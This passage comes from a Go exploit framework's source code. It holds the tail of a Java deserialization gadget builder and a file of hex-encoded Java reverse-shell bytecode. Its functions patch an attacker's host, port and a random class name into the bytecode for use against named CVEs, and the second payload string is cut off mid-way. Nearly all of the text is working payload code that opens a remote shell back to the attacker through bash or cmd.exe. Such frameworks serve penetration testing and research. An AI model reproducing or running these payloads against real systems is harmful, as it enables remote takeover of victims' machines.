"value"}, }, SuperClassDesc: TCClassDesc{ Name: "java.lang.Number", Flags: SCSerializableCode, SerialVersionUID: []byte{0x86, 0xac, 0x95, 0x1d, 0x0b, 0x94, 0xe0, 0x8b}, Fields: []Field{}, }, }, } tcObjectTen.TCContents = append(tcObjectTen.TCContents, TCInteger{Value: 1}) tcObjectNine.TCContents = append(tcObjectNine.TCContents, tcObjectTen) // next item.... goes into ?? values tcObjectEleven := TCObject{ InfoContent: TCClassDesc{ Name: "java.util.HashMap", SerialVersionUID: []byte{0x05, 0x07, 0xda, 0xc1, 0xc3, 0x16, 0x60, 0xd1}, Flags: 0x03, Fields: []Field{ FloatField{Name: "loadFactor"}, IntegerField{Name: "threshold"}, }, }, TCContents: []TCContent{ TCFloat{Value: 0.75}, TCInteger{Value: 0}, TCBlockData{Value: "\x00\x00\x00\x10\x00\x00\x00\x00"}, TCEndBlockData{}, }, } // appending all objects in expected order because I don't want a giant nested inline object (even though it might be easier to read that way) tcObjectSeven.TCContents = append(tcObjectSeven.TCContents, tcArrayFour) // iArgs tcObjectSeven.TCContents = append(tcObjectSeven.TCContents, tcStringTwo) // iMethodName tcObjectSeven.TCContents = append(tcObjectSeven.TCContents, tcArrayFive) // iParamTypes tcObjectSix.TCContents = append(tcObjectSix.TCContents, tcArrayTwo) // iArgs tcObjectSix.TCContents = append(tcObjectSix.TCContents, tcStringOne) // iMethodName tcObjectSix.TCContents = append(tcObjectSix.TCContents, tcArrayThree) // iParamTypes tcObjectFive.TCContents = append(tcObjectFive.TCContents, tcClassOne) tcArrayOne.TCContents = append(tcArrayOne.TCContents, tcObjectFive) tcArrayOne.TCContents = append(tcArrayOne.TCContents, tcObjectSix) tcArrayOne.TCContents = append(tcArrayOne.TCContents, tcObjectSeven) tcArrayOne.TCContents = append(tcArrayOne.TCContents, tcObjectEight) tcArrayOne.TCContents = append(tcArrayOne.TCContents, tcObjectNine) tcObjectFour.TCContents = append(tcObjectFour.TCContents, tcArrayOne) tcObjectThree.TCContents = append(tcObjectThree.TCContents, tcObjectFour) tcObjectThree.TCContents = append(tcObjectThree.TCContents, tcObjectEleven) tcObjectFour.TCContents = append(tcObjectFour.TCContents, TCClass{ InfoContent: TCClassDesc{ Name: "java.lang.Override", SerialVersionUID: []byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, Flags: 0x00, Fields: []Field{}, }, }) tcObjectTwo.TCContents = append(tcObjectTwo.TCContents, tcObjectThree) tcObjectOne.TCContents = append(tcObjectOne.TCContents, tcObjectTwo) rootObject.TCContents = append(rootObject.TCContents, tcObjectOne) rootObject.TCContents = append(rootObject.TCContents, TCClass{InfoContent: TCClassDesc{Name: "java.lang.Override", SerialVersionUID: []byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, Flags: 0x00, Fields: []Field{}}}) rootObject.TCContents = append(rootObject.TCContents, TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x3a}}) // finalize rootObjectBytes, ok := rootObject.ToBytes() if !ok { output.PrintFrameworkError("Failed to convert root object into bytes") return []byte{}, false } finalObject = append(finalObject, rootObjectBytes...) return finalObject, true } ================================================ FILE: java/javaclass.go ================================================ package java import ( "encoding/binary" "strconv" "strings" "github.com/vulncheck-oss/go-exploit/config" "github.com/vulncheck-oss/go-exploit/random" "github.com/vulncheck-oss/go-exploit/transform" ) // This is the Java bytecode for a reverse shell. You can find the source code here: // // https://gist.github.com/j-baines/38eb6d16eed64986a369f7f981f57508 // // The code checks if the victim is Windows or Linux and uses bash or cmd.exe accordingly. // The use case for this is when remotely loading a class (see CVE-2020-7961) or loading // a class from a byte string (see CVE-2023-22527). // // The bytecode was generated using OpenJDK 1.8.0. The exact method of generation follows: // // albinolobster@mournland:/tmp/java$ java -version // openjdk version "1.8.0_392" // OpenJDK Runtime Environment (build 1.8.0_392-8u392-ga-1~20.04-b08) // OpenJDK 64-Bit Server VM (build 25.392-b08, mixed mode) // albinolobster@mournland:/tmp/java$ javac ABCDEFG.java // albinolobster@mournland:/tmp/java$ ls -l ABCDEFG.class // -rw-rw-r-- 1 albinolobster albinolobster 2129 Feb 17 06:08 ABCDEFG.class // // This function replaces hardcoded IP address and port in the bytecode and generates // a random class name. The return values are (bytecode, classname). func ReverseShellBytecode(conf *config.Config) (string, string) { reverseShell := "\xca\xfe\xba\xbe\x00\x00\x00\x34\x00\xa0\x0a\x00" + "\x32\x00\x45\x08\x00\x46\x08\x00\x47\x0a\x00\x48" + "\x00\x49\x08\x00\x4a\x0a\x00\x09\x00\x4b\x08\x00" + "\x4c\x07\x00\x4d\x07\x00\x4e\x0a\x00\x08\x00\x4f" + "\x0a\x00\x08\x00\x50\x0a\x00\x08\x00\x51\x07\x00" + "\x52\x07\x00\x53\x08\x00\x54\x08\x00\x55\x0a\x00" + "\x56\x00\x57\x0a\x00\x0d\x00\x58\x07\x00\x59\x07" + "\x00\x5a\x0a\x00\x0d\x00\x5b\x0a\x00\x14\x00\x5c" + "\x0a\x00\x13\x00\x5d\x07\x00\x5e\x07\x00\x5f\x0a" + "\x00\x0d\x00\x60\x0a\x00\x19\x00\x61\x0a\x00\x18" + "\x00\x62\x0a\x00\x63\x00\x60\x0a\x00\x63\x00\x5b" + "\x0a\x00\x0d\x00\x64\x0a\x00\x13\x00\x65\x07\x00" + "\x66\x0a\x00\x21\x00\x45\x0a\x00\x21\x00\x67\x08" + "\x00\x68\x0a\x00\x21\x00\x69\x0a\x00\x18\x00\x6a" + "\x0a\x00\x18\x00\x6b\x05\x00\x00\x00\x00\x00\x00" + "\x00\x32\x0a\x00\x6c\x00\x6d\x0a\x00\x13\x00\x6e" + "\x0a\x00\x13\x00\x6f\x0a\x00\x18\x00\x70\x0a\x00" + "\x63\x00\x71\x07\x00\x72\x0a\x00\x63\x00\x73\x0a" + "\x00\x0d\x00\x74\x07\x00\x75\x01\x00\x04\x68\x6f" + "\x73\x74\x01\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c" + "\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x01" + "\x00\x0d\x43\x6f\x6e\x73\x74\x61\x6e\x74\x56\x61" + "\x6c\x75\x65\x01\x00\x04\x70\x6f\x72\x74\x01\x00" + "\x06\x3c\x69\x6e\x69\x74\x3e\x01\x00\x03\x28\x29" + "\x56\x01\x00\x04\x43\x6f\x64\x65\x01\x00\x0f\x4c" + "\x69\x6e\x65\x4e\x75\x6d\x62\x65\x72\x54\x61\x62" + "\x6c\x65\x01\x00\x0d\x53\x74\x61\x63\x6b\x4d\x61" + "\x70\x54\x61\x62\x6c\x65\x07\x00\x53\x07\x00\x4e" + "\x07\x00\x76\x07\x00\x52\x07\x00\x59\x07\x00\x5e" + "\x07\x00\x72\x01\x00\x0a\x53\x6f\x75\x72\x63\x65" + "\x46\x69\x6c\x65\x01\x00\x0c\x41\x42\x43\x44\x45" + "\x46\x47\x2e\x6a\x61\x76\x61\x0c\x00\x37\x00\x38" + "\x01\x00\x04\x62\x61\x73\x68\x01\x00\x07\x6f\x73" + "\x2e\x6e\x61\x6d\x65\x07\x00\x77\x0c\x00\x78\x00" + "\x79\x01\x00\x07\x57\x69\x6e\x64\x6f\x77\x73\x0c" + "\x00\x7a\x00\x7b\x01\x00\x07\x63\x6d\x64\x2e\x65" + "\x78\x65\x01\x00\x18\x6a\x61\x76\x61\x2f\x6c\x61" + "\x6e\x67\x2f\x50\x72\x6f\x63\x65\x73\x73\x42\x75" + "\x69\x6c\x64\x65\x72\x01\x00\x10\x6a\x61\x76\x61" + "\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67" + "\x0c\x00\x37\x00\x7c\x0c\x00\x7d\x00\x7e\x0c\x00" + "\x7f\x00\x80\x01\x00\x0f\x6a\x61\x76\x61\x2f\x6e" + "\x65\x74\x2f\x53\x6f\x63\x6b\x65\x74\x01\x00\x07" + "\x41\x42\x43\x44\x45\x46\x47\x01\x00\x08\x41\x41" + "\x41\x41\x41\x41\x41\x41\x01\x00\x08\x42\x42\x42" + "\x42\x42\x42\x42\x42\x07\x00\x81\x0c\x00\x82\x00" + "\x7b\x0c\x00\x37\x00\x83\x01\x00\x16\x6a\x61\x76" + "\x61\x2f\x69\x6f\x2f\x42\x75\x66\x66\x65\x72\x65" + "\x64\x52\x65\x61\x64\x65\x72\x01\x00\x19\x6a\x61" + "\x76\x61\x2f\x69\x6f\x2f\x49\x6e\x70\x75\x74\x53" + "\x74\x72\x65\x61\x6d\x52\x65\x61\x64\x65\x72\x0c" + "\x00\x84\x00\x85\x0c\x00\x37\x00\x86\x0c\x00\x37" + "\x00\x87\x01\x00\x16\x6a\x61\x76\x61\x2f\x69\x6f" + "\x2f\x42\x75\x66\x66\x65\x72\x65\x64\x57\x72\x69" + "\x74\x65\x72\x01\x00\x1a\x6a\x61\x76\x61\x2f\x69" + "\x6f\x2f\x4f\x75\x74\x70\x75\x74\x53\x74\x72\x65" + "\x61\x6d\x57\x72\x69\x74\x65\x72\x0c\x00\x88\x00" + "\x89\x0c\x00\x37\x00\x8a\x0c\x00\x37\x00\x8b\x07" + "\x00\x76\x0c\x00\x8c\x00\x8d\x0c\x00\x8e\x00\x8f" + "\x01\x00\x17\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67" + "\x2f\x53\x74\x72\x69\x6e\x67\x42\x75\x69\x6c\x64" + "\x65\x72\x0c\x00\x90\x00\x91\x01\x00\x01\x0a\x0c" + "\x00\x92\x00\x8f\x0c\x00\x93\x00\x94\x0c\x00\x95" + "\x00\x38\x07\x00\x96\x0c\x00\x97\x00\x98\x0c\x00" + "\x99\x00\x8d\x0c\x00\x9a\x00\x9b\x0c\x00\x93\x00" + "\x9c\x0c\x00\x9d\x00\x9b\x01\x00\x13\x6a\x61\x76" + "\x61\x2f\x6c\x61\x6e\x67\x2f\x45\x78\x63\x65\x70" + "\x74\x69\x6f\x6e\x0c\x00\x9e\x00\x38\x0c\x00\x9f" + "\x00\x38\x01\x00\x10\x6a\x61\x76\x61\x2f\x6c\x61" + "\x6e\x67\x2f\x4f\x62\x6a\x65\x63\x74\x01\x00\x11" + "\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x50\x72" + "\x6f\x63\x65\x73\x73\x01\x00\x10\x6a\x61\x76\x61" + "\x2f\x6c\x61\x6e\x67\x2f\x53\x79\x73\x74\x65\x6d" + "\x01\x00\x0b\x67\x65\x74\x50\x72\x6f\x70\x65\x72" + "\x74\x79\x01\x00\x26\x28\x4c\x6a\x61\x76\x61\x2f" + "\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b" + "\x29\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f" + "\x53\x74\x72\x69\x6e\x67\x3b\x01\x00\x07\x69\x6e" + "\x64\x65\x78\x4f\x66\x01\x00\x15\x28\x4c\x6a\x61" + "\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69" + "\x6e\x67\x3b\x29\x49\x01\x00\x16\x28\x5b\x4c\x6a" + "\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72" + "\x69\x6e\x67\x3b\x29\x56\x01\x00\x13\x72\x65\x64" + "\x69\x72\x65\x63\x74\x45\x72\x72\x6f\x72\x53\x74" + "\x72\x65\x61\x6d\x01\x00\x1d\x28\x5a\x29\x4c\x6a" + "\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x50\x72\x6f" + "\x63\x65\x73\x73\x42\x75\x69\x6c\x64\x65\x72\x3b" + "\x01\x00\x05\x73\x74\x61\x72\x74\x01\x00\x15\x28" + "\x29\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f" + "\x50\x72\x6f\x63\x65\x73\x73\x3b\x01\x00\x11\x6a" + "\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x49\x6e\x74" + "\x65\x67\x65\x72\x01\x00\x08\x70\x61\x72\x73\x65" + "\x49\x6e\x74\x01\x00\x16\x28\x4c\x6a\x61\x76\x61" + "\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67" + "\x3b\x49\x29\x56\x01\x00\x0e\x67\x65\x74\x49\x6e" + "\x70\x75\x74\x53\x74\x72\x65\x61\x6d\x01\x00\x17" + "\x28\x29\x4c\x6a\x61\x76\x61\x2f\x69\x6f\x2f\x49" + "\x6e\x70\x75\x74\x53\x74\x72\x65\x61\x6d\x3b\x01" + "\x00\x18\x28\x4c\x6a\x61\x76\x61\x2f\x69\x6f\x2f" + "\x49\x6e\x70\x75\x74\x53\x74\x72\x65\x61\x6d\x3b" + "\x29\x56\x01\x00\x13\x28\x4c\x6a\x61\x76\x61\x2f" + "\x69\x6f\x2f\x52\x65\x61\x64\x65\x72\x3b\x29\x56" + "\x01\x00\x0f\x67\x65\x74\x4f\x75\x74\x70\x75\x74" + "\x53\x74\x72\x65\x61\x6d\x01\x00\x18\x28\x29\x4c" + "\x6a\x61\x76\x61\x2f\x69\x6f\x2f\x4f\x75\x74\x70" + "\x75\x74\x53\x74\x72\x65\x61\x6d\x3b\x01\x00\x19" + "\x28\x4c\x6a\x61\x76\x61\x2f\x69\x6f\x2f\x4f\x75" + "\x74\x70\x75\x74\x53\x74\x72\x65\x61\x6d\x3b\x29" + "\x56\x01\x00\x13\x28\x4c\x6a\x61\x76\x61\x2f\x69" + "\x6f\x2f\x57\x72\x69\x74\x65\x72\x3b\x29\x56\x01" + "\x00\x08\x69\x73\x43\x6c\x6f\x73\x65\x64\x01\x00" + "\x03\x28\x29\x5a\x01\x00\x08\x72\x65\x61\x64\x4c" + "\x69\x6e\x65\x01\x00\x14\x28\x29\x4c\x6a\x61\x76" + "\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e" + "\x67\x3b\x01\x00\x06\x61\x70\x70\x65\x6e\x64\x01" + "\x00\x2d\x28\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e" + "\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x29\x4c\x6a" + "\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72" + "\x69\x6e\x67\x42\x75\x69\x6c\x64\x65\x72\x3b\x01" + "\x00\x08\x74\x6f\x53\x74\x72\x69\x6e\x67\x01\x00" + "\x05\x77\x72\x69\x74\x65\x01\x00\x15\x28\x4c\x6a" + "\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72" + "\x69\x6e\x67\x3b\x29\x56\x01\x00\x05\x66\x6c\x75" + "\x73\x68\x01\x00\x10\x6a\x61\x76\x61\x2f\x6c\x61" + "\x6e\x67\x2f\x54\x68\x72\x65\x61\x64\x01\x00\x05" + "\x73\x6c\x65\x65\x70\x01\x00\x04\x28\x4a\x29\x56" + "\x01\x00\x05\x72\x65\x61\x64\x79\x01\x00\x04\x72" + "\x65\x61\x64\x01\x00\x03\x28\x29\x49\x01\x00\x04" + "\x28\x49\x29\x56\x01\x00\x09\x65\x78\x69\x74\x56" + "\x61\x6c\x75\x65\x01\x00\x07\x64\x65\x73\x74\x72" + "\x6f\x79\x01\x00\x05\x63\x6c\x6f\x73\x65\x00\x21" + "\x00\x0e\x00\x32\x00\x00\x00\x02\x00\x18\x00\x33" + "\x00\x34\x00\x01\x00\x35\x00\x00\x00\x02\x00\x0f" + "\x00\x18\x00\x36\x00\x34\x00\x01\x00\x35\x00\x00" + "\x00\x02\x00\x10\x00\x01\x00\x01\x00\x37\x00\x38" + "\x00\x01\x00\x39\x00\x00\x01\xeb\x00\x06\x00\x0b" + "\x00\x00\x01\x03\x2a\xb7\x00\x01\x12\x02\x4c\x12" + "\x03\xb8\x00\x04\x12\x05\xb6\x00\x06\x02\x9f\x00" + "\x06\x12\x07\x4c\xbb\x00\x08\x59\x04\xbd\x00\x09" + "\x59\x03\x2b\x53\xb7\x00\x0a\x04\xb6\x00\x0b\xb6" + "\x00\x0c\x4d\xbb\x00\x0d\x59\x12\x0f\x12\x10\xb8" + "\x00\x11\xb7\x00\x12\x4e\xbb\x00\x13\x59\xbb\x00" + "\x14\x59\x2d\xb6\x00\x15\xb7\x00\x16\xb7\x00\x17" + "\x3a\x04\xbb\x00\x18\x59\xbb\x00\x19\x59\x2d\xb6" + "\x00\x1a\xb7\x00\x1b\xb7\x00\x1c\x3a\x05\xbb\x00" + "\x18\x59\xbb\x00\x19\x59\x2c\xb6\x00\x1d\xb7\x00" + "\x1b\xb7\x00\x1c\x3a\x06\xbb\x00\x13\x59\xbb\x00" + "\x14\x59\x2c\xb6\x00\x1e\xb7\x00\x16\xb7\x00\x17" + "\x3a\x07\x2d\xb6\x00\x1f\x9a\x00\x64\x19\x04\xb6" + "\x00\x20\x59\x3a\x08\xc6\x00\x21\x19\x06\xbb\x00" + "\x21\x59\xb7\x00\x22\x19\x08\xb6\x00\x23\x12\x24" + "\xb6\x00\x23\xb6\x00\x25\xb6\x00\x26\x19\x06\xb6" + "\x00\x27\x14\x00\x28\xb8\x00\x2a\x03\x36\x09\x19" + "\x07\xb6\x00\x2b\x99\x00\x18\x19\x07\xb6\x00\x2c" + "\x59\x36\x09\x9e\x00\x0d\x19\x05\x15\x09\xb6\x00" + "\x2d\xa7\xff\xe6\x19\x05\xb6\x00\x27\x2c\xb6\x00" + "\x2e\x57\xa7\x00\x08\x3a\x0a\xa7\xff\x9b\x2c\xb6" + "\x00\x30\x2d\xb6\x00\x31\xa7\x00\x04\x4c\xb1\x00" + "\x02\x00\xe9\x00\xee\x00\xf1\x00\x2f\x00\x04\x00" + "\xfe\x01\x01\x00\x2f\x00\x02\x00\x3a\x00\x00\x00" + "\x72\x00\x1c\x00\x00\x00\x0f\x00\x04\x00\x11\x00" + "\x07\x00\x12\x00\x15\x00\x13\x00\x18\x00\x16\x00" + "\x2f\x00\x17\x00\x3e\x00\x18\x00\x52\x00\x19\x00" + "\x66\x00\x1a\x00\x7a\x00\x1b\x00\x8e\x00\x1d\x00" + "\x95\x00\x1f\x00\xa0\x00\x20\x00\xb9\x00\x21\x00" + "\xbe\x00\x23\x00\xc4\x00\x25\x00\xc7\x00\x26\x00" + "\xda\x00\x27\x00\xe4\x00\x29\x00\xe9\x00\x2b\x00" + "\xee\x00\x2c\x00\xf1\x00\x2d\x00\xf3\x00\x2f\x00" + "\xf6\x00\x31\x00\xfa\x00\x32\x00\xfe\x00\x34\x01" + "\x01\x00\x33\x01\x02\x00\x35\x00\x3b\x00\x00\x00" + "\x4e\x00\x09\xff\x00\x18\x00\x02\x07\x00\x3c\x07" + "\x00\x3d\x00\x00\xff\x00\x75\x00\x08\x07\x00\x3c" + "\x07\x00\x3d\x07\x00\x3e\x07\x00\x3f\x07\x00\x40" + "\x07\x00\x41\x07\x00\x41\x07\x00\x40\x00\x00\xfc" + "\x00\x2f\x07\x00\x3d\xfc\x00\x08\x01\x1c\x4c\x07" + "\x00\x42\xf9\x00\x04\xff\x00\x0a\x00\x01\x07\x00" + "\x3c\x00\x01\x07\x00\x42\x00\x00\x01\x00\x43\x00" + "\x00\x00\x02\x00\x44" classSize := make([]byte, 2) classString := transform.Title(random.RandLettersRange(8, 17)) binary.BigEndian.PutUint16(classSize, uint16(len(classString))) ipSize := make([]byte, 2) binary.BigEndian.PutUint16(ipSize, uint16(len(conf.Lhost))) portSize := make([]byte, 2) portString := strconv.Itoa(conf.Lport) binary.BigEndian.PutUint16(portSize, uint16(len(portString))) reverseShell = strings.ReplaceAll(reverseShell, "\x00\x07ABCDEFG", string(classSize)+classString) reverseShell = strings.ReplaceAll(reverseShell, "\x00\x08AAAAAAAA", string(ipSize)+conf.Lhost) reverseShell = strings.ReplaceAll(reverseShell, "\x00\x08BBBBBBBB", string(portSize)+portString) return reverseShell, classString } // This is the Java bytecode for a reverse shell. You can find the source code here: // // https://gist.github.com/j-shomo/053031f2ee9ba7f29fca2305c6ea8c6a // // The code checks if the victim is Windows or Linux and uses bash or cmd.exe accordingly. // The use case for this is when remotely loading a class via ScriptEngineManager calling // URLClassLoader (see CVE-2024-37084) // // The bytecode was generated using OpenJDK 1.8.0. The exact method of generation follows: // // parallels@ubuntu-linux-22-04-02-desktop:~/Downloads$ java -version // openjdk version "1.8.0_422" // OpenJDK Runtime Environment (build 1.8.0_422-8u422-b05-1~22.04-b05) // OpenJDK 64-Bit Server VM (build 25.422-b05, mixed mode) // parallels@ubuntu-linux-22-04-02-desktop:~/Downloads$ javac Reverse.java // parallels@ubuntu-linux-22-04-02-desktop:~/Downloads$ ls -l Reverse.class // -rw-rw-r-- 1 parallels parallels 3124 Sep 20 12:58 Reverse.class // // This function replaces hardcoded IP address and port in the bytecode and generates // a random class name. The return values are (bytecode, classname). func ReverseShellScriptingEngineBytecode(conf *config.Config) (string, string) { reverseShell := "\xca\xfe\xba\xbe\x00\x00\x00\x34" + "\x00\xae\x0a\x00\x32\x00\x55\x08" + "\x00\x56\x08\x00\x57\x0a\x00\x58" + "\x00\x59\x08\x00\x5a\x0a\x00\x09" + "\x00\x5b\x08\x00\x5c\x07\x00\x5d" + "\x07\x00\x5e\x0a\x00\x08\x00\x5f" + "\x0a\x00\x08\x00\x60\x0a\x00\x08" + "\x00\x61\x07\x00\x62\x07\x00\x63" + "\x08\x00\x64\x08\x00\x65\x0a\x00" + "\x66\x00\x67\x0a\x00\x0d\x00\x68" + "\x07\x00\x69\x07\x00\x6a\x0a\x00" + "\x0d\x00\x6b\x0a\x00\x14\x00\x6c" + "\x0a\x00\x13\x00\x6d\x07\x00\x6e" + "\x07\x00\x6f\x0a\x00\x0d\x00\x70" + "\x0a\x00\x19\x00\x71\x0a\x00\x18" + "\x00\x72\x0a\x00\x3d\x00\x70\x0a" + "\x00\x3d\x00\x6b\x0a\x00\x0d\x00" + "\x73\x0a\x00\x13\x00\x74\x07\x00" + "\x75\x0a\x00\x21\x00\x55\x0a\x00" + "\x21\x00\x76\x08\x00\x77\x0a\x00" + "\x21\x00\x78\x0a\x00\x18\x00\x79" + "\x0a\x00\x18\x00\x7a\x05\x00\x00" + "\x00\x00\x00\x00\x00\x32\x0a\x00" + "\x7b\x00\x7c\x0a\x00\x13\x00\x7d" + "\x0a\x00\x13\x00\x7e\x0a\x00\x18" + "\x00\x7f\x0a\x00\x3d\x00\x80\x07" + "\x00\x81\x0a\x00\x3d\x00\x82\x0a" + "\x00\x0d\x00\x83\x07\x00\x84\x07" + "\x00\x85\x01\x00\x04\x68\x6f\x73" + "\x74\x01\x00\x12\x4c\x6a\x61\x76" + "\x61\x2f\x6c\x61\x6e\x67\x2f\x53" + "\x74\x72\x69\x6e\x67\x3b\x01\x00" + "\x0d\x43\x6f\x6e\x73\x74\x61\x6e" + "\x74\x56\x61\x6c\x75\x65\x01\x00" + "\x04\x70\x6f\x72\x74\x01\x00\x06" + "\x3c\x69\x6e\x69\x74\x3e\x01\x00" + "\x03\x28\x29\x56\x01\x00\x04\x43" + "\x6f\x64\x65\x01\x00\x0f\x4c\x69" + "\x6e\x65\x4e\x75\x6d\x62\x65\x72" + "\x54\x61\x62\x6c\x65\x01\x00\x0d" + "\x53\x74\x61\x63\x6b\x4d\x61\x70" + "\x54\x61\x62\x6c\x65\x07\x00\x86" + "\x01\x00\x0d\x67\x65\x74\x45\x6e" + "\x67\x69\x6e\x65\x4e\x61\x6d\x65" + "\x01\x00\x14\x28\x29\x4c\x6a\x61" + "\x76\x61\x2f\x6c\x61\x6e\x67\x2f" + "\x53\x74\x72\x69\x6e\x67\x3b\x01" + "\x00\x10\x67\x65\x74\x45\x6e\x67" + "\x69\x6e\x65\x56\x65\x72\x73\x69" + "\x6f\x6e\x01\x00\x0d\x67\x65\x74" + "\x45\x78\x74\x65\x6e\x73\x69\x6f" + "\x6e\x73\x01\x00\x12\x28\x29\x4c" + "\x6a\x61\x76\x61\x2f\x75\x74\x69" + "\x6c\x2f\x4c\x69\x73\x74\x3b\x01" + "\x00\x09\x53\x69\x67\x6e\x61\x74" + "\x75\x72\x65\x01\x00\x26\x28\x29" + "\x4c\x6a\x61\x76\x61\x2f\x75\x74" + "\x69\x6c\x2f\x4c\x69\x73\x74\x3c" + "\x4c\x6a\x61\x76\x61\x2f\x6c\x61" + "\x6e\x67\x2f\x53\x74\x72\x69\x6e" + "\x67\x3b\x3e\x3b\x01\x00\x0c\x67" + "\x65\x74\x4d\x69\x6d\x65\x54\x79" + "\x70\x65\x73\x01\x00\x08\x67\x65" + "\x74\x4e\x61\x6d\x65\x73\x01\x00" + "\x0f\x67\x65\x74\x4c\x61\x6e\x67" + "\x75\x61\x67\x65\x4e\x61\x6d\x65" + "\x01\x00\x12\x67\x65\x74\x4c\x61" + "\x6e\x67\x75\x61\x67\x65\x56\x65" + "\x72\x73\x69\x6f\x6e\x01\x00\x0c" + "\x67\x65\x74\x50\x61\x72\x61\x6d" + "\x65\x74\x65\x72\x01\x00\x26\x28" + "\x4c\x6a\x61\x76\x61\x2f\x6c\x61" + "\x6e\x67\x2f\x53\x74\x72\x69\x6e" + "\x67\x3b\x29\x4c\x6a\x61\x76\x61" + "\x2f\x6c\x61\x6e\x67\x2f\x4f\x62" + "\x6a\x65\x63\x74\x3b\x01\x00\x13" + "\x67\x65\x74\x4d\x65\x74\x68\x6f" + "\x64\x43\x61\x6c\x6c\x53\x79\x6e" + "\x74\x61\x78\x01\x00\x4b\x28\x4c" + "\x6a\x61\x76\x61\x2f\x6c\x61\x6e" + "\x67\x2f\x53\x74\x72\x69\x6e\x67" + "\x3b\x4c\x6a\x61\x76\x61\x2f\x6c" + "\x61\x6e\x67\x2f\x53\x74\x72\x69" + "\x6e\x67\x3b\x5b\x4c\x6a\x61\x76" + "\x61\x2f\x6c\x61\x6e\x67\x2f\x53" + "\x74\x72\x69\x6e\x67\x3b\x29\x4c" + "\x6a\x61\x76\x61\x2f\x6c\x61\x6e" + "\x67\x2f\x53\x74\x72\x69\x6e\x67" + "\x3b\x01\x00\x12\x67\x65\x74\x4f" + "\x75\x74\x70\x75\x74\x53\x74\x61" + "\x74\x65\x6d\x65\x6e\x74\x01\x00" + "\x26\x28\x4c\x6a\x61\x76\x61\x2f" + "\x6c\x61\x6e\x67\x2f\x53\x74\x72" + "\x69\x6e\x67\x3b\x29\x4c\x6a\x61" + "\x76\x61\x2f\x6c\x61\x6e\x67\x2f" + "\x53\x74\x72\x69\x6e\x67\x3b\x01" + "\x00\x0a\x67\x65\x74\x50\x72\x6f" + "\x67\x72\x61\x6d\x01\x00\x27\x28" + "\x5b\x4c\x6a\x61\x76\x61\x2f\x6c" + "\x61\x6e\x67\x2f\x53\x74\x72\x69" + "\x6e\x67\x3b\x29\x4c\x6a\x61\x76" + "\x61\x2f\x6c\x61\x6e\x67\x2f\x53" + "\x74\x72\x69\x6e\x67\x3b\x01\x00" + "\x0f\x67\x65\x74\x53\x63\x72\x69" + "\x70\x74\x45\x6e\x67\x69\x6e\x65" + "\x01\x00\x1d\x28\x29\x4c\x6a\x61" + "\x76\x61\x78\x2f\x73\x63\x72\x69" + "\x70\x74\x2f\x53\x63\x72\x69\x70" + "\x74\x45\x6e\x67\x69\x6e\x65\x3b" + "\x01\x00\x0a\x53\x6f\x75\x72\x63" + "\x65\x46\x69\x6c\x65\x01\x00\x0c" + "\x52\x65\x76\x65\x72\x73\x65\x2e" + "\x6a\x61\x76\x61\x0c\x00\x38\x00" + "\x39\x01\x00\x04\x62\x61\x73\x68" + "\x01\x00\x07\x6f\x73\x2e\x6e\x61" + "\x6d\x65\x07\x00\x87\x0c\x00\x88" + "\x00\x4e\x01\x00\x07\x57\x69\x6e" + "\x64\x6f\x77\x73\x0c\x00\x89\x00" + "\x8a\x01\x00\x07\x63\x6d\x64\x2e" + "\x65\x78\x65\x01\x00\x18\x6a\x61" + "\x76\x61\x2f\x6c\x61\x6e\x67\x2f" + "\x50\x72\x6f\x63\x65\x73\x73\x42" + "\x75\x69\x6c\x64\x65\x72\x01\x00" + "\x10\x6a\x61\x76\x61\x2f\x6c\x61" + "\x6e\x67\x2f\x53\x74\x72\x69\x6e" + "\x67\x0c\x00\x38\x00\x8b\x0c\x00" + "\x8c\x00\x8d\x0c\x00\x8e\x00\x8f" + "\x01\x00\x0f\x6a\x61\x76\x61\x2f" + "\x6e\x65\x74\x2f\x53\x6f\x63\x6b" + "\x65\x74\x01\x00\x07\x52\x65\x76" + "\x65\x72\x73\x65\x01\x00\x08\x41" + "\x41\x41\x41\x41\x41\x41\x41\x01" + "\x00\x08\x42\x42\x42\x42\x42\x42" + "\x42\x42\x07\x00\x90\x0c\x00\x91" + "\x00\x8a\x0c\x00\x38\x00\x92\x01" + "\x00\x16\x6a\x61\x76\x61\x2f\x69" + "\x6f\x2f\x42\x75\x66\x66\x65\x72" + "\x65\x64\x52\x65\x61\x64\x65\x72" + "\x01\x00\x19\x6a\x61\x76\x61\x2f" + "\x69\x6f\x2f\x49\x6e\x70\x75\x74" + "\x53\x74\x72\x65\x61\x6d\x52\x65" + "\x61\x64\x65\x72\x0c\x00\x93\x00" + "\x94\x0c\x00\x38\x00\x95\x0c\x00" + "\x38\x00\x96\x01\x00\x16\x6a\x61" + "\x76\x61\x2f\x69\x6f\x2f\x42\x75" + "\x66\x66\x65\x72\x65\x64\x57\x72" + "\x69\x74\x65\x72\x01\x00\x1a\x6a" + "\x61\x76\x61\x2f\x69\x6f\x2f\x4f" + "\x75\x74\x70\x75\x74\x53\x74\x72" + "\x65\x61\x6d\x57\x72\x69\x74\x65" + "\x72\x0c\x00\x97\x00\x98\x0c\x00" + "\x38\x00\x99\x0c\x00\x38\x00\x9a" + "\x0c\x00\x9b\x00\x9c\x0c\x00\x9d" + 